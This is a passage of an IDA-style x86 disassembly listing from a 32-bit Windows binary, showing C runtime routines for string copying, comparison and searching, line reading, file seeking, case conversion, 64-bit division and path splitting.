		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_418C34
		shr	ecx, 2
		jnz	short loc_418CA1
		jmp	short loc_418C55
; ---------------------------------------------------------------------------


loc_418C34:				; CODE XREF: sub_418C10+1Bj
					; sub_418C10+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_418C62
		test	al, al
		jz	short loc_418C6A
		test	esi, 3
		jnz	short loc_418C34
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418CA1


loc_418C50:				; CODE XREF: sub_418C10+8Fj
		and	ebx, 3
		jz	short loc_418C62


loc_418C55:				; CODE XREF: sub_418C10+22j
					; sub_418C10+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_418C8E
		dec	ebx
		jnz	short loc_418C55


loc_418C62:				; CODE XREF: sub_418C10+2Bj
					; sub_418C10+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418C6A:				; CODE XREF: sub_418C10+2Fj
		test	edi, 3
		jz	short loc_418C84


loc_418C72:				; CODE XREF: sub_418C10+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_418D06
		test	edi, 3
		jnz	short loc_418C72


loc_418C84:				; CODE XREF: sub_418C10+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418CF7


loc_418C8B:				; CODE XREF: sub_418C10+7Fj
					; sub_418C10+F4j
		mov	[edi], al
		inc	edi


loc_418C8E:				; CODE XREF: sub_418C10+4Dj
		dec	ebx
		jnz	short loc_418C8B
		pop	ebx
		pop	esi


loc_418C93:				; CODE XREF: sub_418C10+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418C99:				; CODE XREF: sub_418C10+A9j
					; sub_418C10+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_418C50


loc_418CA1:				; CODE XREF: sub_418C10+20j
					; sub_418C10+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_418C99
		test	dl, dl
		jz	short loc_418CEB
		test	dh, dh
		jz	short loc_418CE1
		test	edx, 0FF0000h
		jz	short loc_418CD7
		test	edx, 0FF000000h
		jnz	short loc_418C99
		mov	[edi], edx
		jmp	short loc_418CEF
; ---------------------------------------------------------------------------


loc_418CD7:				; CODE XREF: sub_418C10+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_418CEF
; ---------------------------------------------------------------------------


loc_418CE1:				; CODE XREF: sub_418C10+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_418CEF
; ---------------------------------------------------------------------------


loc_418CEB:				; CODE XREF: sub_418C10+ADj
		xor	edx, edx
		mov	[edi], edx


loc_418CEF:				; CODE XREF: sub_418C10+C5j
					; sub_418C10+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_418D01


loc_418CF7:				; CODE XREF: sub_418C10+79j
		xor	eax, eax


loc_418CF9:				; CODE XREF: sub_418C10+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_418CF9


loc_418D01:				; CODE XREF: sub_418C10+E5j
		and	ebx, 3
		jnz	short loc_418C8B


loc_418D06:				; CODE XREF: sub_418C10+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_418C10	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D0E	proc near		; CODE XREF: sub_406C19+2E2p
					; sub_406C19+435p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_418D8A
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_418D2D
		cmp	edi, 1
		jz	short loc_418D2D
		cmp	edi, 2
		jnz	short loc_418D8A


loc_418D2D:				; CODE XREF: sub_418D0E+13j
					; sub_418D0E+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_418D44
		push	esi
		call	sub_41E5B1
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_418D44:				; CODE XREF: sub_418D0E+27j
		push	esi
		call	sub_41A7D0
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_418D59
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_418D6D
; ---------------------------------------------------------------------------


loc_418D59:				; CODE XREF: sub_418D0E+42j
		test	al, 1
		jz	short loc_418D6D
		test	al, 8
		jz	short loc_418D6D
		test	ah, 4
		jnz	short loc_418D6D
		mov	dword ptr [esi+18h], 200h


loc_418D6D:				; CODE XREF: sub_418D0E+49j
					; sub_418D0E+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_41E517
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_418D97
; ---------------------------------------------------------------------------


loc_418D8A:				; CODE XREF: sub_418D0E+Bj
					; sub_418D0E+1Dj
		mov	dword_4CD9B4, 16h
		or	eax, 0FFFFFFFFh


loc_418D97:				; CODE XREF: sub_418D0E+7Aj
		pop	edi
		pop	esi
		retn
sub_418D0E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DA0	proc near		; CODE XREF: sub_406C19+2ACp
					; sub_406C19+2CDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_418DD1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_418DCF
		jz	short loc_418DD1
		dec	ecx
		dec	ecx


loc_418DCF:				; CODE XREF: sub_418DA0+29j
		not	ecx


loc_418DD1:				; CODE XREF: sub_418DA0+9j
					; sub_418DA0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_418DA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418DE0	proc near		; CODE XREF: sub_407110+5Cp
					; sub_407110+9Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_418E94
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_418E0A


loc_418DFB:				; CODE XREF: sub_418DE0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_418E3B
		test	edi, 3
		jnz	short loc_418DFB


loc_418E0A:				; CODE XREF: sub_418DE0+19j
					; sub_418DE0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_418E0A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_418E48
		test	ah, ah
		jz	short loc_418E43
		test	eax, 0FF0000h
		jz	short loc_418E3E
		test	eax, 0FF000000h
		jnz	short loc_418E0A


loc_418E3B:				; CODE XREF: sub_418DE0+20j
		dec	edi
		jmp	short loc_418E4B
; ---------------------------------------------------------------------------


loc_418E3E:				; CODE XREF: sub_418DE0+52j
		sub	edi, 2
		jmp	short loc_418E4B
; ---------------------------------------------------------------------------


loc_418E43:				; CODE XREF: sub_418DE0+4Bj
		sub	edi, 3
		jmp	short loc_418E4B
; ---------------------------------------------------------------------------


loc_418E48:				; CODE XREF: sub_418DE0+47j
		sub	edi, 4


loc_418E4B:				; CODE XREF: sub_418DE0+5Cj
					; sub_418DE0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_418E60
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418EAC
		jmp	short loc_418E7C
; ---------------------------------------------------------------------------


loc_418E60:				; CODE XREF: sub_418DE0+75j
					; sub_418DE0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_418E9A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_418E90
		test	esi, 3
		jnz	short loc_418E60
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418EAC


loc_418E7C:				; CODE XREF: sub_418DE0+7Ej
					; sub_418DE0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_418E90


loc_418E83:				; CODE XREF: sub_418DE0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_418E92
		dec	ecx
		jnz	short loc_418E83


loc_418E90:				; CODE XREF: sub_418DE0+8Bj
					; sub_418DE0+A1j
		mov	[edi], cl


loc_418E92:				; CODE XREF: sub_418DE0+ABj
		pop	ebx
		pop	esi


loc_418E94:				; CODE XREF: sub_418DE0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418E9A:				; CODE XREF: sub_418DE0+85j
					; sub_418DE0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418EA4:				; CODE XREF: sub_418DE0+E4j
					; sub_418DE0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_418E7C


loc_418EAC:				; CODE XREF: sub_418DE0+7Cj
					; sub_418DE0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_418EA4
		test	dl, dl
		jz	short loc_418E9A
		test	dh, dh
		jz	short loc_418EF8
		test	edx, 0FF0000h
		jz	short loc_418EE8
		test	edx, 0FF000000h
		jnz	short loc_418EA4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418EE8:				; CODE XREF: sub_418DE0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418EF8:				; CODE XREF: sub_418DE0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_418DE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F10	proc near		; CODE XREF: sub_407252+2A2p
					; sub_40EE72+31DBp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_418F31
		xor	eax, eax
		jmp	short loc_418F33
; ---------------------------------------------------------------------------


loc_418F31:				; CODE XREF: sub_418F10+1Bj
		mov	eax, edi


loc_418F33:				; CODE XREF: sub_418F10+1Fj
		cld
		pop	edi
		leave
		retn
sub_418F10	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_418F50


loc_418F40:				; CODE XREF: sub_418F50+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_418F50
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418F50	proc near		; CODE XREF: sub_408C26+DBp
					; sub_40DAF0+32p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00418F40 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_418F56:				; CODE XREF: sub_417880+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_418F7B


loc_418F68:				; CODE XREF: sub_418F50+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_418F40
		test	cl, cl
		jz	short loc_418FC4
		test	edx, 3
		jnz	short loc_418F68


loc_418F7B:				; CODE XREF: sub_418F50+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_418F86:				; CODE XREF: sub_418F50+61j
					; sub_418F50+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_418FC8
		and	eax, 81010100h
		jz	short loc_418F86
		and	eax, 1010100h
		jnz	short loc_418FC2
		and	esi, 80000000h
		jnz	short loc_418F86


loc_418FC2:				; CODE XREF: sub_418F50+68j
					; sub_418F50+81j ...
		pop	esi
		pop	edi


loc_418FC4:				; CODE XREF: sub_418F50+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_418FC8:				; CODE XREF: sub_418F50+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_419005
		test	al, al
		jz	short loc_418FC2
		cmp	ah, bl
		jz	short loc_418FFE
		test	ah, ah
		jz	short loc_418FC2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_418FF7
		test	al, al
		jz	short loc_418FC2
		cmp	ah, bl
		jz	short loc_418FF0
		test	ah, ah
		jz	short loc_418FC2
		jmp	short loc_418F86
; ---------------------------------------------------------------------------


loc_418FF0:				; CODE XREF: sub_418F50+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_418FF7:				; CODE XREF: sub_418F50+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_418FFE:				; CODE XREF: sub_418F50+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_419005:				; CODE XREF: sub_418F50+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_418F50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41900C	proc near		; CODE XREF: sub_408C26+AFp
					; sub_40EE72+47F2p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_419020
		xor	eax, eax
		jmp	short loc_419056
; ---------------------------------------------------------------------------


loc_419020:				; CODE XREF: sub_41900C+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_419050
		mov	esi, [ebp+arg_8]


loc_419029:				; CODE XREF: sub_41900C+42j
		dec	dword ptr [esi+4]
		js	short loc_419038
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41903F
; ---------------------------------------------------------------------------


loc_419038:				; CODE XREF: sub_41900C+20j
		push	esi
		call	sub_41E248
		pop	ecx


loc_41903F:				; CODE XREF: sub_41900C+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41905A
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_419050
		dec	[ebp+arg_4]
		jnz	short loc_419029


loc_419050:				; CODE XREF: sub_41900C+18j
					; sub_41900C+3Dj ...
		and	byte ptr [edi],	0


loc_419053:				; CODE XREF: sub_41900C+55j
		mov	eax, ebx
		pop	esi


loc_419056:				; CODE XREF: sub_41900C+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41905A:				; CODE XREF: sub_41900C+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_419050
		xor	ebx, ebx
		jmp	short loc_419053
sub_41900C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419063	proc near		; CODE XREF: sub_409209+BFp
					; sub_409209+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4CDA48
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_419097
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_4190FE


loc_41907F:				; CODE XREF: sub_419063+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_419090
		cmp	cl, 7Ah
		jg	short loc_419090
		sub	cl, 20h
		mov	[edx], cl


loc_419090:				; CODE XREF: sub_419063+21j
					; sub_419063+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41907F
		jmp	short loc_4190FE
; ---------------------------------------------------------------------------


loc_419097:				; CODE XREF: sub_419063+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_41E709
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_4190F0
		push	edi
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_4190F0
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4CDA48
		call	sub_41E709
		add	esp, 20h
		test	eax, eax
		jz	short loc_4190F0
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_4179C0
		pop	ecx
		pop	ecx


loc_4190F0:				; CODE XREF: sub_419063+53j
					; sub_419063+61j ...
		push	[ebp+var_4]
		call	sub_417C3B
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_4190FE:				; CODE XREF: sub_419063+1Aj
					; sub_419063+32j
		pop	ebx
		leave
		retn
sub_419063	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419101	proc near		; CODE XREF: sub_40A951+6p
					; sub_40A96F+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4CDA48, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41912E
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_4191C7
		cmp	eax, 5Ah
		jg	loc_4191C7
		add	eax, 20h
		jmp	loc_4191C7
; ---------------------------------------------------------------------------


loc_41912E:				; CODE XREF: sub_419101+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_419162
		cmp	dword_433E7C, esi
		jle	short loc_419150
		push	esi
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41915A
; ---------------------------------------------------------------------------


loc_419150:				; CODE XREF: sub_419101+42j
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41915A:				; CODE XREF: sub_419101+4Dj
		test	eax, eax
		jnz	short loc_419162


loc_41915E:				; CODE XREF: sub_419101+ADj
		mov	eax, ebx
		jmp	short loc_4191C7
; ---------------------------------------------------------------------------


loc_419162:				; CODE XREF: sub_419101+3Aj
					; sub_419101+5Bj
		mov	edx, off_433C70
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_419186
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41918F
; ---------------------------------------------------------------------------


loc_419186:				; CODE XREF: sub_419101+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41918F:				; CODE XREF: sub_419101+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4CDA48
		call	sub_41E709
		add	esp, 20h
		test	eax, eax
		jz	short loc_41915E
		cmp	eax, esi
		jnz	short loc_4191BA
		movzx	eax, [ebp+var_4]
		jmp	short loc_4191C7
; ---------------------------------------------------------------------------


loc_4191BA:				; CODE XREF: sub_419101+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4191C7:				; CODE XREF: sub_419101+16j
					; sub_419101+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419101	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4191D0	proc near		; CODE XREF: sub_40B822+3Dp
					; sub_40D01A+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_4191F1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_419241
; ---------------------------------------------------------------------------


loc_4191F1:				; CODE XREF: sub_4191D0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_4191FF:				; CODE XREF: sub_4191D0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4191FF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41922A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41922A
		jb	short loc_419232
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_419232


loc_41922A:				; CODE XREF: sub_4191D0+4Aj
					; sub_4191D0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_419232:				; CODE XREF: sub_4191D0+52j
					; sub_4191D0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_419241:				; CODE XREF: sub_4191D0+1Fj
		pop	ebx
		retn	10h
sub_4191D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419250	proc near		; CODE XREF: sub_40B822+24p
					; sub_40D01A+3Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_419272
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4192B3
; ---------------------------------------------------------------------------


loc_419272:				; CODE XREF: sub_419250+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_419280:				; CODE XREF: sub_419250+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_419280
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4192AE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_4192AE
		jb	short loc_4192AF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_4192AF


loc_4192AE:				; CODE XREF: sub_419250+4Ej
					; sub_419250+54j
		dec	esi


loc_4192AF:				; CODE XREF: sub_419250+56j
					; sub_419250+5Cj
		xor	edx, edx
		mov	eax, esi


loc_4192B3:				; CODE XREF: sub_419250+20j
		pop	esi
		pop	ebx
		retn	10h
sub_419250	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192B8	proc near		; CODE XREF: sub_40B8D8+1E3p
					; ___:0040E7A0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_417AB0
		cmp	eax, 1
		pop	ecx
		jb	short loc_4192F3
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_4192F3
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_4192EF
		push	2
		push	ebx
		push	esi
		call	sub_41ED0D
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_4192EF:				; CODE XREF: sub_4192B8+25j
		inc	ebx
		inc	ebx
		jmp	short loc_4192FD
; ---------------------------------------------------------------------------


loc_4192F3:				; CODE XREF: sub_4192B8+18j
					; sub_4192B8+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_4192FD
		and	byte ptr [eax],	0


loc_4192FD:				; CODE XREF: sub_4192B8+39j
					; sub_4192B8+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_419375


loc_419310:				; CODE XREF: sub_4192B8+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4CEF01[edx], 4
		jz	short loc_419321
		inc	eax
		jmp	short loc_41933B
; ---------------------------------------------------------------------------


loc_419321:				; CODE XREF: sub_4192B8+64j
		cmp	cl, 2Fh
		jz	short loc_419335
		cmp	cl, 5Ch
		jz	short loc_419335
		cmp	cl, 2Eh
		jnz	short loc_41933B
		mov	[ebp+var_4], eax
		jmp	short loc_41933B
; ---------------------------------------------------------------------------


loc_419335:				; CODE XREF: sub_4192B8+6Cj
					; sub_4192B8+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41933B:				; CODE XREF: sub_4192B8+67j
					; sub_4192B8+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_419310
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_419375
		cmp	[ebp+arg_8], 0
		jz	short loc_419370
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_419359
		mov	edi, esi


loc_419359:				; CODE XREF: sub_4192B8+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41ED0D
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_419370:				; CODE XREF: sub_4192B8+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41937F
; ---------------------------------------------------------------------------


loc_419375:				; CODE XREF: sub_4192B8+56j
					; sub_4192B8+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41937F
		and	byte ptr [ecx],	0


loc_41937F:				; CODE XREF: sub_4192B8+BBj
					; sub_4192B8+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_4193D2
		cmp	edi, ebx
		jb	short loc_4193D2
		cmp	[ebp+arg_C], 0
		jz	short loc_4193AF
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_419398
		mov	edi, esi


loc_419398:				; CODE XREF: sub_4192B8+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41ED0D
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_4193AF:				; CODE XREF: sub_4192B8+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_4193FA
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_4193BF
		mov	esi, eax


loc_4193BF:				; CODE XREF: sub_4192B8+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41ED0D
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------


loc_4193D2:				; CODE XREF: sub_4192B8+CCj
					; sub_4192B8+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_4193F0
